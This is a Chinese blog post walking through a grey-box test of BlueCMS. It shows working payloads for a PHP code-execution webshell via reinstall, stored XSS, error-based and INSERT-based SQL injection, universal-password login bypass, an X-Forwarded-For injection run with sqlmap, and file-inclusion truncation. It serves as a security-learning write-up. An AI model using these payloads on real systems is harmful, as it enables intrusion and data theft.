欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

bluecms灰盒测试

程序员文章站 2022-05-15 09:15:51
...

bluecms灰盒测试

思路:寻找功能点

bluecms灰盒测试\

我们安装好bluecms

bluecms灰盒测试


1.重复安装漏洞

我们直接再次访问install

bluecms灰盒测试
发现可以重复安装!
1.这代表,我们能破坏网站
2.可以进入后台
我们可以实施站库分离,我们没用改管理员的账号密码,改了数据库的连接地址

网站,内网比外网弱,后台比前台弱
我们知道他在php5.5以上在可以执行在双引号中出现这个就**${}**就会被当做代码执行
如:

<?php
echo "${phpinfo()}";
?>

我们在安装的时候数据库名字进行一句话木马传参
bluecms灰盒测试
我们输入KaTeX parse error: Expected '}', got 'EOF' at end of input: {_REQUEST[a]}

bluecms灰盒测试
由于我本地并没安装其他高版本的php环境,就这样叭


前端

1.

我们在注册的地方

bluecms灰盒测试
可以**出所有用户名

bluecms灰盒测试

我们在用burp抓包在邮箱处插入

<script>alert(1)</script>

bluecms灰盒测试
发现是一个存储型XSS

bluecms灰盒测试

2.

我们发现注册的时候,存在sql注入:如图
bluecms灰盒测试

2020/5/28 12:54	INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '98798798', md5('98798798'), 'aaa@qq.com', '1590641655', '1590641655')

我们用源代码审计工具中的数据库监控,发现我们可以去尝试进行sql注入

2020/5/28 12:54	INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '98798798', md5('98798798'), '98798798' or updatexml(1,concat(0x7e,(select database())),1),1,1)#@qq.com', '1590641655', '1590641655')

在数据库执行,发现执行成功
我们在抓包在改数据,

bluecms灰盒测试

我们马上尝试直接抓包尝试注入

bluecms灰盒测试
我们打开审计工具,发现存在魔术引号,把我们的’给转义了

2020/5/28 13:29	INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'admin175', md5('admin175'), 'ad\' or updatexml(1,concat(0x7e,(select database())),1),1,1)#@aaa@qq.com', '1590643772', '1590643772')

我们用宽字节的方法,发现,报错了,无法插入
如果用盲注的话,实在是太头痛了,我们要注册大量账号,而且需要输入验证码

我们用另一种骚操作,尝试能否进入多条数据进行插入,因为存在魔术引号,所以,我们用户名只能进行16进制的编码

INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'asdasd', md5('98798798'), '98798798' ,1,1),(100,0x6c696261696c69626169,md5(123456),(select database()),1,1)#@qq.com', '1590641655', '1590641655')

3.

我们尝试万能密码登陆
居然登陆成功了

bluecms灰盒测试

4.

一般情况,一个地方有漏洞,那么其他地方同样会存在类似的漏洞
我们进入后台尝试万能密码登陆

bluecms灰盒测试
username栏不存在
那么密码栏呢?
bluecms灰盒测试
成功登陆
bluecms灰盒测试

后台

1.

bluecms灰盒测试
我们可以直接备份文件,然后,在本地搜索到文件,直接对外访问,发现可以直接访问到这个备份文件


前端

1.

我们思考魔术引号是会去影响GET,POST,COOKIE传参,但是$_SERVER是不会被影响的,我们想这个cms是不是存在头注入,比如X-Forwarded-For,或者以下都可以

$_SERVER[‘HTTP_REFERER’]
$_SERVER[“HTTP_USER_AGENT”]
$_SERVER[“REMOTE_ADDR”]

bluecms灰盒测试
我们再次查询

bluecms灰盒测试
我们发现,法师的审计系统看不到中文,我们直接查看源文件,发现它是一个评论的页面,我们访问过去
bluecms灰盒测试
我们直接访问过去是一片空白,我们发布一条新闻,重新搞一搞,发现下面有评论系统
bluecms灰盒测试
我们首先想到的是会不会存在XSS啊
我们插入

bluecms灰盒测试
我们右键检查

bluecms灰盒测试
发现<>都被实体化了

bluecms灰盒测试
我们查看源代码,发现存在**htmlspecialchars()**函数

我们尝试用事件型触发

bluecms灰盒测试
好像是不存在xss注入
没关系,我们已经知道

bluecms灰盒测试
这里是没经过任何的处理,直接拼接进数据库的,我们尝试,能否进行头注入
比如X-Forwarded-For
我们直接抓包进行改包,利用sqlmap进行跑包

bluecms灰盒测试
我们拼接的时候,记住要弥补后面的值,然后进行传参

bluecms灰盒测试

bluecms灰盒测试
很快乐,跑出来了
我们主要是需要调高等级–level 3才可以

python sqlmap.py -r 1.txt --level 3

bluecms灰盒测试

bluecms灰盒测试

2.文件包含漏洞

bluecms灰盒测试

我们修改本地文件

bluecms灰盒测试
直接输出这个东西看看是什么,然后抓包查看,它是一个路径,文件包含的路径,而这个路径中间的参数我们可以去控制,我们可以去截断这个文件,能实现任意文件包含的效果

bluecms灰盒测试